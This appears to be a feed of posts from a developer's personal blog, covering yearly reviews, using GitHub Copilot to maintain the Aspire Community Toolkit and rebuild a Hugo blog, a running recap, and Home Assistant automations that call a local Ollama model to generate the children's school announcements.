LINQ to Fail

2025 a Year in Review

website-contact@aaron-powell.com (Aaron Powell) — Mon, 09 Feb 2026 02:36:49 +0000

Well, I missed my usual January post, and given that I hardly wrote anything in 2025 anyway, I don’t think it was much of a surprise. I mean, I wrote a grand total of two blog posts in 2025 (excluding my “in review” posts), and that is the first time in the nearly 20 years of blogging that I’ve done only a single digit number of posts in a year.

The fact is, blogging, or at least the idea of blogging, just hasn’t been something that has been giving me much joy in the past year. My goal on blogging has always been to use it as a bit of a journal to document things I’m learning, and to share that with others in the hopes that it can help them out, and the reality is that 2025 just seemed to go by so fast and there’s been so much “new stuff” that by the time I found time to sit down and write, the thing I was going to write about felt obsolete.

Work

It’d probably come as no surprise that AI has been dominating what I’ve done for the past year. In the middle of the year I launches Awesome Copilot, a curated list of resources to help people learn about GitHub Copilot and how to use it, and it has been amazing to see the community around it grow. We started out with just a few resources in there, hoping to grow by a handful each month, but at the time of writing we have over 20k stars and around 500 resources in there - which honestly blows my mind. This is pretty much my full time job now, managing the OSS project and working with product teams to make it even better.

While I joke with my boss that I am now a markdown developer, I do still do a bit of “real” development work as the maintainer of the Aspire Community Toolkit, which was something we launched late in 2024. Again, this was something that I hoped would grow a small community, but again have been blown away by the response, I think we’re close to 40 integrations now, and we even had some of the work that started in the Community Toolkit migrate into Aspire itself, which is pretty cool.

Speaking

I gave what was probably my most favourite talk at DDD Melbourne last year for their locknote, a session called “Coding like it’s 2005”. This was me celebrating that ~~I’m old~~ how far we’ve come in the last 20 years of software development, and it was a lot of fun to put together - I ran an XP VM, hosted a SVN server, and wrote a .NET Framework 1.1 app live on stage (ok, some of it was pre-coded), showing what it was like to code back then, and how far we’ve come since, because as we have AI tools becoming more common in development, I want people to realise that this is just another evolution in the tools we use to write software, and that we should embrace it and use it to be more productive, just like we did with all the other tools we’ve had over the years.

You can check out the recording of the session on YouTube:

I also had the fortune to go to Microsoft Build in Seattle for the first time, and while there I presented a lightning talk, delivered two workshops on .NET + AI, proctored three other workshops, and spent the rest of my time at the experts area meeting with the community and learning about what they are building (oh, and I met my boss in person for the first time, turns out they are more than just a torso on a video call 😜).

You can see the session I did on YouTube as well:

And yes - I did juggle during that session, it was a dare from the production team, as they wanted to have a picture of me juggling for the session thumbnail 😅 (juggling is something I decided to teach myself at the start of 2025). Also, pro-tip, don’t try to download an AI model on conference wifi (or listen to the audience when they suggest that you do that).

And with that, let’s bring on 2026.

Managing The Aspire Community Toolkit With AI

website-contact@aaron-powell.com (Aaron Powell) — Tue, 09 Dec 2025 02:53:00 +0000

In the middle of November Aspire 13 was released and with that came quite a few large changes that we would need to tackle in the Aspire Community Toolkit.

As the lead for the OSS project, I took on the responsibility of managing the release, which meant coordinating the various changes, ensuring compatibility with Aspire 13, and all the stuff that would go along with that. Ask any OSS maintainer and they’ll tell you that managing a release is a lot of work, especially one of this magnitude, and given that it’s not part of my core role at Microsoft, I had to find ways to be as efficient as possible with my time.

With this in mind, leveraging AI is a logical step to help streamline the process, and I want to share how I used GitHub Copilot for the various tasks involved in managing the Aspire Community Toolkit release.

By the numbers

Look at the milestone there was 12 PR’s that Copilot created for the release via Copilot coding agent, which were wither issues that Copilot was assigned to, or agent tasks I kicked off from agent HQ.

The largest of these PR’s was the .NET 10 upgrade with 48 comments from Copilot and reviewers. The simplest was probably dropping .NET from the branding.

For other work that was done, Copilot often played a role in the editor to help speed up writing code, but that doesn’t get captured as obviously as a PR.

The human in the loop

One of the challenges of the Community Toolkit is that it’s a very large solution, there’s almost 200 projects in the repo, and while they don’t necessarily have all that much code in them, the sheer size results in complexity.

As a result, Copilot is not always going to be “right” on the first pass through, and this is where the human comes into play.

Generally speaking, the process that was followed was:

Write up the issue or task that needed to be done.
Assign it to Copilot via the coding agent.
Review the PR that Copilot created.

During the review process, depending on the level of complexity I would either comment on the next iteration of changes that would need to be done, or check out the PR locally and pick up where Copilot left off. The latter is the more common of the scenarios, especially since we were updating to Aspire 13, which the models have no knowledge of, so trying to just prompt my way through it would have been a nightmare. In fact, here’s my local branches:

$ git branch | grep copilot
  copilot/adapt-connection-string-formatting
  copilot/add-dotnet-10-tfm-support
  copilot/add-influxdb-integration
  copilot/add-neon-integration
  copilot/add-stripe-cli-integration
  copilot/fix-772
  copilot/fix-821
  copilot/fix-mcpinspector-certificate-issue
  copilot/fix-otel-export-integration
  copilot/remove-addviteapp-and-withnpmpackageinstaller
  copilot/remove-deprecated-lifecycle-hook
  copilot/review-python-extensions
  copilot/support-alternative-package-managers
  copilot/update-addchatclient-sensitive-data-config
  copilot/update-eventstore-to-kurrentdb

They aren’t all from the release, but most are, and they are the branches I took over from Copilot to finish up.

Admittedly there are times where it’s more of a cursory glance at what Copilot has done, such as when it was removing .NET from the branding - that was just a quick pass over the PR changes and merging it in.

Improving success

Since the work for the release was going to be done against stuff that Copilot had no knowledge of we ran the risk of it either making up something that was completely incorrect, or just not being able to help at all. To help reduce this, I aimed to provide a reference to the relevant Aspire source code for a change.

Let’s take the removal of AddViteApp and WithNpmPackageInstaller methods as an example. These methods were moved from the Community Toolkit to the core Aspire repo, and when crafting the issue for that, it links to the PR that made the change in Aspire, so that Copilot could see the new API surface and update our code accordingly. That PR did still result in human interception and finalisation, but that was partially because I kicked off the PR before the changes in Aspire were merged, so Copilot was working off a draft of the changes.

Did it speed things up?

So the big question is - did doing this actually save any time? The answer is a resounding yes. As an OSS maintainer, the value for me was being able to kick off multiple parallel tasks to be worked on by Copilot, and then I could jump in for finalisation as required, while delegating more tasks to Copilot. It also allowed me to drop the really tedious stuff to Copilot, like the initial .NET 10 upgrade, which is really just modifying a bunch of MSBuild and yaml files, but then when we uncovered a problem with one of the projects not building correctly, I picked up that harder part of the task (which involved going through MSBuild source code and crash dumps - fun!).

The 13.0 release of the Community Toolkit came about 2 weeks after Aspire 13 was released, and while I can’t say for certain how long it would have taken without Copilot, I can say that it would have been significantly longer than 2 weeks.

Looking ahead

Copilot is going to continue to play a big role in how I manage the Aspire Community Toolkit. Anyone following the changes will see an ever growing number of PR’s being created by Copilot. In fact, I’ve created two custom agents in the repo that are designed to create new hosting and client integrations, allowing us to scale out the number of integrations we support. I also recently created a custom agent to write docs in the Aspire docs repo from our README files, meaning that we can ensure that our documentation is always up to date when integrations are created.

There’s always going to be a human in the loop for OSS management, but by leveraging AI we can make the process significantly more efficient, allowing us to focus on the harder problems that require human judgement, while letting AI handle the more tedious tasks.

Reviving My Blog With AI

website-contact@aaron-powell.com (Aaron Powell) — Wed, 03 Dec 2025 03:11:44 +0000

What’s this, a blog post after not having written one all year? Look, I’m sure I could make up some excuses about being busy with work, life, and the general chaos of the world, but the truth is, I just lost my blogging mojo. However, as the year is coming to a close I decided to do at least some minor maintenance on my blog, and in doing so I thought it would be a great opportunity to document the process of reviving my blog with a little help from AI.

Clone, build, fail, repeat

The first step in any blog maintenance is cloning the repository and running a build to see what state things are in. I cloned the repo, ran hugo, and… nothing. The build failed immediately. It turns out that the version of Hugo I had installed locally was much newer than what the blog was last built with, and Hugo had introduced breaking changes since then. Well, that was frustrating. Look, I’m sure I could have read the error messages and dug through the hundreds of files in the repo to fix everything, but this is the era of AI assistance, and I’m lazy, so I decided to see if GitHub Copilot could help me out.

Fixing build issues with Hugo

Hugo’s first build crashed, exposing errors from shortcodes that no longer behave like they did in 2024. Copilot translated the logs into actionable hints and pointed at the culprits—github, gist, and tweet. We removed the brittle GitHub repo embed (which was something custom I’d built and look, I’m sure the code is somewhere in my GitHub…) in favor of a simple link and reduced every gist embed to a pair of clean Markdown URLs.

From there it was whack-a-mole across sixteen posts that still referenced the deprecated tweet, twitter, or tweet_simple shortcodes. Copilot helped hunt them down, flagged both spaced and unspaced forms (seriously, past Aaron?!), and drafted the direct https://x.com/<user>/status/<id> links that now keep the context but without any remote fetches. Each wave of edits was followed with a full hugo --buildDrafts --buildFuture run to make sure we hadn’t invented new problems; by the end the only remaining warning was Hugo reminding me those shortcodes will vanish in a future release—no breaking errors, no missing embeds, just a tidy diff full of Markdown links.

Now that the build was working again, it was time to give the design a refresh, something to make it pop.

Creating a new theme

The original theme had served faithfully for the past few years, but compared to today’s design language it felt cramped and colourless. I asked Copilot to scaffold a fresh base—hero, navigation, cards, footer—and it answered with a glassy, modern layout that emphasised typography and generous spacing. From there I layered in custom Sass tokens, built out the hero animation and CTA buttons, and tightened every component until the homepage finally had the polish I always wanted. The best part was how quickly I could iterate: Copilot implemented a change, I’d review it, give it suggestions on what I did/didn’t like about it (annotated screenshots FTW!), and set it on its merry way.

I had created the last theme from scratch, and while I did a lot of CSS back in the day, my skills are very much rusty, especially when it comes to modern layout techniques like Flexbox and Grid. What took me a few solid days of fighting with CSS back then was done in, like, 30 minutes with Copilot’s help.

Supporting light and dark mode

You know what all the cool kids have on their websites these days? Light and dark mode. So, naturally, for this new design I wanted both, and I just fired off another prompt to Copilot. It helped punch out a theming system based on CSS custom properties: a set-theme mixin emits the palette for light and dark, the root follows prefers-color-scheme, and a new toggle in the navigation lets anyone override the default. A little JavaScript stores the selection in localStorage, updates the emoji/iconography, and snaps the DOM into the chosen mode without a reload. I smoke-tested both palettes—dark hero gradients, light mode cards, rotating headline—fixing subtle contrast issues Copilot flagged along the way until everything felt cohesive regardless of the time of day.

Reducing build output size

Once the new theme was ready I went to deploy it, only to have the build fail because it was too big to deploy to Static Web Apps. SWA has a limit of 250mb for the free tier (I think…), which is what I’m using for hosting my blog. Look, yeah I know the blog has a lot of images and other assets, but I didn’t think it would be that big, so I switched to Standard tier (500mb limit), and deployed again… and it failed again. Turns out the blog was over 600mb now. Well, shit.

I downloaded the CI output because it was time to work out where all the bloat was coming from. My initial hunch was that it was just a lot of really legacy assets, after all, I’ve been blogging for nearly 20 years, and I know there’s some ZIP files in here from pre-OSS code hosting platforms (no, sourceforge wasn’t my jam). I looked at the size of each of the top-level folders and I was shocked to notice that, no the assets wasn’t that large (relatively speaking), it was the tags folder, with over 400mb in there. This folder contains a HTML file for each tag on my website, so you can go to the csharp tag and get all posts that are, well, tagged with csharp. But what I didn’t realise it what I was also generating an XML file for RSS on each tag, yes, each tag was also an RSS feed, and with over 200 unique tags on my blog (ok - fixing taxonomy is a problem for another day 😅), that adds up. Also, it was totally not needed.

So it was back to Copilot Chat and started a little diagnostic sprint. Prompt one was a deceptively simple “why am I generating an RSS feed for each tag?” Copilot dissected the project immediately: Hugo’s default taxonomy outputs were spawning an index.xml beside every tag page, and because the config inherited the defaults. Prompt two: “yeah, can you disable it” kicked off a quick solution loop (look, you don’t need to be super detailed in the prompt 🤣). Copilot proposed the edit (explicit taxonomy/term outputs set to HTML only), patched config.toml, suggested re-running hugo --buildDrafts --buildFuture, and surfaced the clean build log. With the redundant feeds gone and the site weight ticking downward, I had momentum to keep chipping away at the rest of the oversized assets.

This chat session turned into the perfect postscript. I opened with the ask, “I want to experiment with a new feature… I want to run an image compression step,” and Copilot laid out the whole experiment: a feature/image-compression branch, a Sharp-powered scripts/compress-images.js, npm scripts for static and .output runs, plus VS Code tasks so future me can trigger the same workflow without leaving the editor. A dry-run delivered the proof—199 images trimmed for a 40 MB delta—without touching a single byte.

The next prompt, “can we change the compress-images.js to use JavaScript modules rather than require,” pushed the helper into modern ESM territory. Copilot swapped the imports, flipped package.json to "type": "module", refreshed the lockfile, and re-ran npm run compress:images -- --dry-run to confirm nothing broke. From there I nudged, “now can you integrate it into the github actions workflows,” and Copilot slotted the compressor straight into the Hugo job with actions/setup-node, an npm ci, and a post-build node scripts/compress-images.js --input "$GITHUB_WORKSPACE/$OUTPUT_FOLDER" step so every artifact upload ships the leanest bits possible.

With the image compression in place and the tag RSS feeds disabled, the final build output was down to a manageable 220mb, well within the free tier limits of Static Web Apps. Time to deploy!

That’s a wrap!

What started as simple maintenance—clone, build, deploy—turned into a full renovation powered by AI assistance. GitHub Copilot helped me navigate breaking changes, modernize a stale design, implement light/dark theming, and optimize build output, all in a fraction of the time it would have taken solo. The real win wasn’t just fixing errors or shipping a fresh coat of paint; it was rediscovering the joy of tinkering with my blog without the friction that had kept me away all year.

And you know what the best part is, most of this blog post was able to be written by Copilot as well, I just asked it to summarise the chat sessions, then I went through and edited it to make it sound more like me. So AI writing blog posts about using AI to update my blog, I feel like this is delightfully peak laziness. 😅

1503km

website-contact@aaron-powell.com (Aaron Powell) — Mon, 13 Jan 2025 02:21:15 +0000

With 2024 coming to a close I managed to just scrape through with my yearly goal of 1500km, having to go out on NYE for one last run (I had 7km to go, so I ran 10km just to be safe).

Compared to 2023 where I managed to hit my 1500km goal in November, hitting it on the last day of the year was… different.

The raw stats

Again, looking at my Strava profile, here’s the breakdown of what was 2024:

Total distance: 1503.3km
Total time: 129 hours, 12 minutes (or 5 days, 9 hours, 12 minutes)
Total activities: 208
Elevation gain: 10,163m

My biggest month was November at 166km, followed by August at 162km. I’m not surprised by November being the biggest month, I went pretty hard there when I realised I might make it to 1500km, if I really stepped up the distance (nothing like a bit of pressure to get you moving).

I also had a bunch of gym sessions and some paddle boarding in there, but Strava is pretty terrible at giving a full aggregation view (outside of their “year in sport” which you can’t retrieve after the year ends), so that’s just the pure running stats.

Looking at the data vs the past few years, it’s a pretty similar amount of time spent running, 2023 was 133 hours and 2022 was 129 hours so it seems that year on year I spend about the same amount of time running, I just use that time differently.

Goals

So what changed from 2023 to 2024? Well, I’d say that it was ultimately my goal around what I wanted out of running. For the past few years I’d been pushing harder and harder to get faster and faster, but in 2024 I decided I wanted to focus on the basics and just get out there and run.

My wife also signed up for her first marathon (she also said it would be her only one, but she’s signed up again this year!), so I wanted to support her training, leaving the bulk of available running time to her.

We also spent a month overseas on holidays, which naturally resulted in a drop in running time. I did manage to get another Parkrun tourist in, running Highbury Fields in London and clocking a 19.30 (first sub-20 outside of Australia). I also went for a run around Tuscany which was some amazing scenery (and one particularly brutal hill). I capped off the trip running around Rome and getting selfies at all the major landmarks.

Training and races

I did do two races this year, City2Surf and the 10km at the Sydney Marathon (while my wife ran the full). Since I wasn’t really that focused on races though, I didn’t really do any specific training for most of the year - sure as the events got closer I was a bit more structured, following the approach I’d used over the past few years (you can read them in last years post, I won’t rehash here).

One thing I decided to do this year for the first time was to gauge my fitness each quarter with a 3km time trial. For this, I picked a dead flat 3k loop around a nearby oval (although I had to move for Q3 and Q4 as the park/path was flooded), went out in the same shoes each time for consistency, and ran it as hard as I could. Here’s the time using the Elapsed Time from Strava:

Q1*: 11:26
Q2: 10:50
Q3: 10:30
Q4: 10:19

Q1 is a bit of an outlier as the moving time is like 10:08, but that’s because I went out waaaaaaaaay too hard and had to pause about half way to ensure the water I’d had stayed down, so while on paper the splits look strong, it’s not an accurate reflection of the outcome.

I’m pretty happy with the progression over the course of the year, and I think it’s an accurate reflection of how the year panned out. I’m not surprised that the last one was the fastest as it was on the back of the two races I did, so the training level was at its peak. I plan to continue this into 2025, and I’ll be interested to see what the Q1 time is this time, given the increased load I saw through the end of 2024, even though it wasn’t focused on speed work.

City2Surf was a pretty standard affair for me this year with a 58:29, about a minute behind my PB from 2023. I was expecting this, the event was the busiest I’d run in and given the rather average training I’d put in, being able to pull out a solid sub-60 was a good result.

Sydney Marathon 10km

Yeah, pretty solid effort there! My goal was to run a sub-40, as I’d never run sub-40 in a 10k event before (I also hadn’t run a 10k event in a very long time, but that’s beside the point!), I’m more happy that I was in the top 100 finishers, which I think is a pretty solid achievement.

Because I had a goal I went into the race with a plan - run fast 🤣. Jokes aside, that was really pretty much the game plan. If you look at the Strava activity, it’s clear that it’s a net-downhill course, with a lot of front-loaded downhill, in it was over 50m down in the first 5k, meaning that you can push harder for the same effort. On the day, this got coupled with a hectic amount of wind, which was a bit of a tailwind coming down from North Sydney and over the bridge.

I started a bit back in the pack, and managed to catch the 40 minute bus at the 5k mark, as we were headed into the flat area. This gave me a good indicator on where I was tracing and what I’d need to push for the back half of the course. I was able to push really hard through the 7th km, which was helped by a massive tailwind (actually copped a blast at one point that nearly caused me to trip, I did clip my foot on my other leg in a stride) but I knew I’d need this as the 8/9 km point was a rough climb, which got made even harder with the wind whipping down the street at us. I heard the pacers behind me, and I knew I had to push hard to keep in front of them (and I was thankful I’d banked some time), and then I could push again on the final bit of downhill to the finish.

After the race was done I picked up my gear bag and went to find my wife on course, where I ran with her for a bunch. I ended up doing an extra 15k post my race… so maybe I could have pushed harder 😁.

Wrapping up

So that’s 2024 in running for me. I’m pretty happy with how the year went, I didn’t have any injuries or major setbacks, I hit my goal, and I got back to the basics of “just running”. I’m not sure what 2025 is going to look like yet, I’m eying an event in April and I’ll do City2Surf again, mostly because I enjoy it, but I’m not sure what else I’ll do (probably the 10k at the Sydney Marathon again, assuming it comes back).

I’m also going to keep up the quarterly time trials, I think they’re a good way to gauge fitness and see how I’m progressing, and I’m going to keep up the focus on just getting out there and running.

2024 a Year in Review

website-contact@aaron-powell.com (Aaron Powell) — Thu, 09 Jan 2025 05:25:21 +0000

Would you look at that, I’m even early this year compared to my 2023 post which was earlier than 2022! I’m on a roll!

It’s funny sitting down to write this post because, honestly, I haven’t really done much writing in the past year. In fact, if we exclude the “in review” posts I did, one about 2023 and the other about running (so… nothing to do with tech), I wrote a grand total of 5 blog posts in 2024 (and two of them were about my smart home), which is the first time ever I’ve done only a single digit number of posts in a year.

Now these numbers aren’t entirely accurate of my blogging, I published 4 blogs on the .NET blog so technically I wrote 9 posts, but I don’t really count those as they’re not on my personal blog.

I’m not entirely sure as to why that is though. After all, it’s not like I didn’t do any work in 2024, I guess I just didn’t feel like I had much to say, at least not in this medium or I’m just lazy 😜.

Work

For the first half of 2024 I was still heavily involved in the .NET and AI story, but when Microsoft Build came around in May I handed over the AI aspect and took lead of the .NET Aspire strategy in our team. This is a much better fit for me, after all, the first two blogs I did last year were on Aspire and we’ve got other members in our team with an AI background that can take the lead on that.

Aspire has been great to work on, and it’s been very interesting getting more involved with a product team and seeing how they work. I’ve contributed a few bits of code to the project, done some docs work (one such bit was expanding how to write tests with Aspire which is honestly one of the best features), but the work I’m most proud of, and excited for the future of, is the .NET Aspire Community Toolkit.

I pitched the idea of the Community Toolkit (or “Aspire Contrib” as it was originally pitched) back in June and we finally announced it in November. It really has exploded since then and I’m super excited for the community that we’re building around Aspire. From something that started with only like 2 integrations, we’re almost at 20 with 5 more in PR review (and a bunch more proposed). If you’re building with Aspire, check out what we’ve got to help you build a wider variety of apps. Check out this session from .NET Conf for more on the toolkit and how to build a custom integration.

Speaking

I actually got back into speaking at events even more in 2024, I spoke at nearly 10 in person events (including getting to go to Japan to speak!), and a few online ones as well. And 2025 is shaping up to be just as busy, with 2 events already confirmed for the first half of the year.

Probably the highlight I had was AI Tour Sydney in December, where I got to present about GitHub Copilot and Visual Studio in a 7000 seat arena (look, there might have only been a few hundred in there, but the arena can hold 7000 😜). It’s an arena that Elton John has performed on, so I’ve technically performed on the same stage as him #humblebrag.

If you squint you can see me on stage 😜.

My other speaking highlight was being back at DDD Melbourne (I’m 11 for 12 of their events!) and I got to present about a personal topic, my journey through burnout. It was a very personal talk, and I was very nervous about it, but the response I got was very heartwarming and I’m very grateful for the support I received. I also got to reprise it for DDD Brisbane, and I’m glad I can do my part to remove the stigma around mental health.

And with that, let’s bring on 2025.

Building a Smart Home - Part 16 Seasonal Automation's

website-contact@aaron-powell.com (Aaron Powell) — Sun, 01 Sep 2024 04:03:16 +0000

In the 2024.4 release of Home Assistant, the Labels feature was introduced. This feature allows you to add labels to entities, areas, and automations. This is a great feature for organisation as you can apply as many as you want and then perform actions based on those labels.

Previously, I’d tackled this style of organisation (and the organisation that Categories introduced) by putting keywords into the names of my automations, and while this worked, it wasn’t as clean as I would have liked.

One of the things I setup with this is adding season labels, Spring, Summer, Autumn, and Winter, and putting them on automations that are only relevant for that season. While this helps with the visual organisation, there’s also the benefit of automating automations based on the season. For example, we have motorised blinds in our house, and in summer, if the temperature of the room exceeds the desired threshold, we’ll automatically close them, but in winter, we’ll leave them open as a) it’s unlikely they’ll exceed the threshold and b) we want the sun to help heat the room.

Automating Based on Season

Firstly, we need to know what season it is, and we can do that using the Seasons integration. This integration will create a sensor that will tell you what season it is based on the date. With the integration setup, we can access sensor.season and trigger automations based on value change.

alias: Toggle seasonal automations
description: ""
trigger:
  - platform: state
    entity_id:
      - sensor.season
condition: []
action: []

I’m going to use the choose action to determine what season it is and then trigger the relevant steps:

action:
  - choose:
      - conditions:
          - condition: state
            entity_id: sensor.season
            state: winter
        sequence: []

In the sequence block, we’re going to run automation.turn_off and automation.turn_on actions to turn on and off the relevant automations.

action:
  - choose:
      - conditions:
          - condition: state
            entity_id: sensor.season
            state: winter
        sequence:
          - metadata: {}
            data:
              stop_actions: true
            target:
              label_id:
                - summer
                - spring
                - autumn
            action: automation.turn_off
          - metadata: {}
            data: {}
            target:
              label_id: winter
            action: automation.turn_on

Notice that we pass in the label_id of the labels we want to turn off and on. This is a list, so you can pass in as many as you want, and it means that we can have automations that are relevant for multiple seasons.

Repeat this for all four seasons then with our automations labeled appropriately, we can have the house adapt to the season automatically.

Conclusion

This is a crazy simply solution to something that I was previously doing manually, either by having a whole heap of conditions within automations to handle the concept of seasonality, or by manually turning on and off automations (which of course I’d forget to do). This is a great example of how a simple feature can have a big impact on the usability of Home Assistant.

The automation.turn_off and automation.turn_on actions with labels as the target is a powerful feature that I use for other use-cases, such as disabling certain automations overnight (mostly motion sensors) or toggling automations for when we have house sitters (which you can read more about in Part 11 of this series).

If you haven’t tried Labels yet, I highly recommend you do, as it’s a great way to organise your Home Assistant setup, and a nifty way to automate your automations.

Building a Smart Home - Part 15 Generative AI and Notifications

website-contact@aaron-powell.com (Aaron Powell) — Tue, 13 Aug 2024 06:01:47 +0000

Like many people, I’ve been diving into Generative AI (GenAI) over the past 12 or so months and looking at how to use it in the sorts of solutions we can build. I’m also the kind of tinkerer that is looking for how to use technology in weird and wonderful ways. So, I’ve been looking at how to use GenAI in my smart home.

Before we get into that part of the story, a little bit of context around something I was doing recently. For the better part of a year I’ve had a daily notification that runs for our kids which tells them what they have on that day at school, whether it’s their library day, they have sport, after school care, etc. This runs at 8.30am, which is just before we leave the house and, well, it’s been a bit of a “Pavlov’s bell” for them. They hear the notification and they know what’s coming up that day and that it’s time to be ready to leave.

The thing is, this message is pretty static, I run a template that looks at a bunch of helpers setup in Home Assistant and then generates a message. It’s a bit boring because it’s very static, like “ here are your school reminders. It’s sports day, don’t forget your sports shoes. You have after school care today.” It’s the same generalised message, just plugging a few different variables in, so it solves the problem but it’s not very interesting.

Enter GenAI

After upgrading the hardware my Home Assistant instance runs on (from a Pi4 to a NUC), I have a bit more power to play with, so I had been running some Small Language Models (SLMs) on the NUC to see what I could do with them. The NUC itself is too underpowered to be used as a local GenAI server to back the Assistants part of Home Assistant (I tried, Phi3-mini doesn’t have a large enough token cap for the system message, let alone a user message, and anything larger takes so long to response that it’s completely impractical 🤣), but if it’s running a SLM that is only serving responses on occasions, well that should be fine.

Hello Ollama

The first thing we need to do is have a way in which we can run the SLM and get a response. I’m going to be using Ollama, as it’s a nifty little tool for working with models like this, and it can be run either as a standalone executable, or as a Docker container. Follow their guide on how to get it running on whatever host you have (I’m using Docker on my NUC).

Next, we’ll need to pick a model to use. Because I’m running this on a NUC, I don’t really have a GPU to play with, so I’ve decided to go with a pretty small model, Phi3 using the mini variant of it, which is only about 2gb of disk size and has 3.82B parameters. It’s not really that big, but given we’re going to be CPU-bound for this, we’ll have to make some tradeoffs (let’s just say, I won’t be running llama3.1:405b anytime soon 😅).

With everything setup, I can hit ollama with a request:

`1`	`curl -X POST -H "Content-Type: application/json" -d '{"prompt": "What should I tell the kids today?", "model": "phi3", "stream": false}' http://ollama.local:11434/api/generate`

Note: We set stream: false in the JSON payload to ensure we get the whole completion as a single response rather than a stream of responses. This is important because a streamed response isn’t really useful in this context.

And get back a response (this one took just over a minute to generate):

{
  "model": "phi3",
  "created_at": "2024-08-13T06:45:23.253914122Z",
  "response": " As an AI, I can help you come up with a variety of ideas for what to share with children. Here are some suggestions based on different themes:\n\n\n1. **Science**: Share interesting facts about space exploration or explain how plants grow using simple experiments they can try at home.\n\n2. **History/Social Studies**: Discuss the importance of a historical figure like Martin Luther King Jr., and explore his contributions to civil rights in an age-appropriate manner.\n\n3. **Literature**: Read a story or fable from Aesop, highlighting moral lessons within them. Encourage children to share their interpretations afterward.\n\n4. **Arts/Crafts**: Have the kids engage in an art project using recycled materials to teach creativity and environmental responsibility.\n\n5. **Daily Life Lesson**: Explain a simple concept like sharing or being kind, perhaps through interactive role-playing activities.\n\n6. **Physical Activity/Health**: Teach the kids about staying active and healthy with fun exercises they can do together or games that encourage movement.\n\n\nRemember to adjust the complexity of your message based on the age group you're addressing, ensuring it's engaging and understandable for them.",
  "done": true,
  "done_reason": "stop",
  "context": [
    32010, 1724, 881, 306, 2649, 278, 413, 4841, 9826, 29973, 32007, 32001,
    1094, 385, 319, 29902, 29892, 306, 508, 1371, 366, 2041, 701, 411, 263,
    12875, 310, 7014, 363, 825, 304, 6232, 411, 4344, 29889, 2266, 526, 777,
    10529, 2729, 373, 1422, 963, 267, 29901, 13, 13, 13, 29896, 29889, 3579,
    29903, 15277, 1068, 29901, 26849, 8031, 17099, 1048, 2913, 3902, 12418, 470,
    5649, 920, 18577, 6548, 773, 2560, 15729, 896, 508, 1018, 472, 3271, 29889,
    13, 13, 29906, 29889, 3579, 20570, 29914, 6295, 1455, 16972, 1068, 29901,
    8565, 1558, 278, 13500, 310, 263, 15839, 4377, 763, 6502, 24760, 4088,
    13843, 1696, 322, 26987, 670, 20706, 304, 7631, 10462, 297, 385, 5046,
    29899, 932, 6649, 403, 8214, 29889, 13, 13, 29941, 29889, 3579, 24938, 1535,
    1068, 29901, 7523, 263, 5828, 470, 285, 519, 515, 319, 267, 459, 29892,
    12141, 292, 14731, 3109, 787, 2629, 963, 29889, 11346, 283, 6617, 4344, 304,
    6232, 1009, 6613, 800, 1156, 1328, 29889, 13, 13, 29946, 29889, 3579, 1433,
    1372, 29914, 29907, 4154, 29879, 1068, 29901, 6975, 278, 413, 4841, 3033,
    482, 297, 385, 1616, 2060, 773, 1162, 11078, 839, 17279, 304, 6860, 907,
    28157, 322, 29380, 23134, 29889, 13, 13, 29945, 29889, 3579, 29928, 8683,
    4634, 27898, 265, 1068, 29901, 12027, 7420, 263, 2560, 6964, 763, 19383,
    470, 1641, 2924, 29892, 6060, 1549, 28923, 6297, 29899, 1456, 292, 14188,
    29889, 13, 13, 29953, 29889, 3579, 25847, 936, 13414, 29914, 3868, 4298,
    1068, 29901, 1920, 496, 278, 413, 4841, 1048, 7952, 292, 6136, 322, 9045,
    29891, 411, 2090, 24472, 3476, 267, 896, 508, 437, 4208, 470, 8090, 393,
    13731, 6617, 10298, 29889, 13, 13, 13, 7301, 1096, 304, 10365, 278, 13644,
    310, 596, 2643, 2729, 373, 278, 5046, 2318, 366, 29915, 276, 3211, 292,
    29892, 5662, 3864, 372, 29915, 29879, 3033, 6751, 322, 2274, 519, 363, 963,
    29889, 32007
  ],
  "total_duration": 76865873877,
  "load_duration": 1001112,
  "prompt_eval_duration": 266416000,
  "eval_count": 292,
  "eval_duration": 76556834000
}

Great, now let’s plug this into Home Assistant.

Home Assistant Integration

Home Assistant has an Ollama integration, but it’s not quite what I want. This is if you want to plug Ollama (or any other GenAI service) into Home Assistant as an Assistant, so you can ask it questions and get responses. I want to use it as a notification, so I can generate a message and send it to the kids (or really, any broadcast notification), which means I’m going to be using a RESTful Command to call the Ollama API. Here’s the configuration for that:

ollama_phi3_completion:
  method: POST
  url: http://ollama.local:11434/api/generate
  content_type: "application/json; charset=utf-8"
  payload: "{{ payload }}"
  verify_ssl: false
  timeout: 300

Reload the RESTful Command config and then there will be a new entity in Home Assistant, rest_command.ollama_phi3_completion, which we can call from anywhere that allows us to call an action. To test it out, navigate to the Developer Tools -> Actions page in Home Assistant, select rest_command.ollama_completion from the dropdown, and then enter the following into the Service Data field:

action: rest_command.ollama_phi3_completion
data:
  payload: |
    {
      "prompt": "What should I tell the kids today?",
      "model": "phi3",
      "stream": false
    }

And we can see a result:

Awesome, time to plug it into an automation.

Automation

I already have an automation that runs to generate the message that we then broadcast on the speakers around the house using a TTS (text-to-speech) service. I’m going to modify this automation to call the Ollama RESTful Command before calling the TTS service. But there’s a catch, the Ollama API can take a while to respond, from testing it can take a few minutes with a “real” payload size, so to keep the 8.30am notification on time, I’m going to run the Ollama API call at 5.30am and “cache” the response up until it’s needed.

Unfortunately, while Home Assistant has a input_text helper that we can use, it has a max length of 255 characters, which is not enough for the response we’re going to get back from Ollama, so instead, we’ll just have the automation wait around for 8.30am.

Here’s the automation:

- alias: Kids school announcements (AI)
  description: ""
  trigger:
    - platform: time
      at: 05:30:00
  condition:
    - condition: state
      entity_id: binary_sensor.school_is_school_day
      state: "on"
  action:
    - metadata: {}
      data:
        payload: "<snip>"
      response_variable: kid1_completion
      action: rest_command.ollama_phi3_completion
      alias: Generate kid1's announcement
    - metadata: {}
      data:
        payload: "<snip>"
      response_variable: kid2_completion
      action: rest_command.ollama_phi3_completion
      alias: Generate kid2's announcement
    - wait_for_trigger:
        - platform: time
          at: 08:30:00
    - if:
        - condition: template
          value_template: "{{ kid1_completion['status'] == 200 }}"
      then:
        action: tts.cloud_say
        data:
          cache: false
          entity_id: media_player.whole_house
          message: "{{ kid1_completion['content']['response'] }}"
      alias: Broadcast kid1 announcement
    - wait_for_trigger:
        - platform: state
          entity_id:
            - media_player.whole_house
          from: playing
          to: idle
      timeout:
        hours: 0
        minutes: 2
        seconds: 0
        milliseconds: 0
    - if:
        - condition: template
          value_template: "{{ kid2_completion['status'] == 200 }}"
      then:
        action: tts.cloud_say
        data:
          cache: false
          entity_id: media_player.whole_house
          message: "{{ kid2_completion['content']['response'] }}"
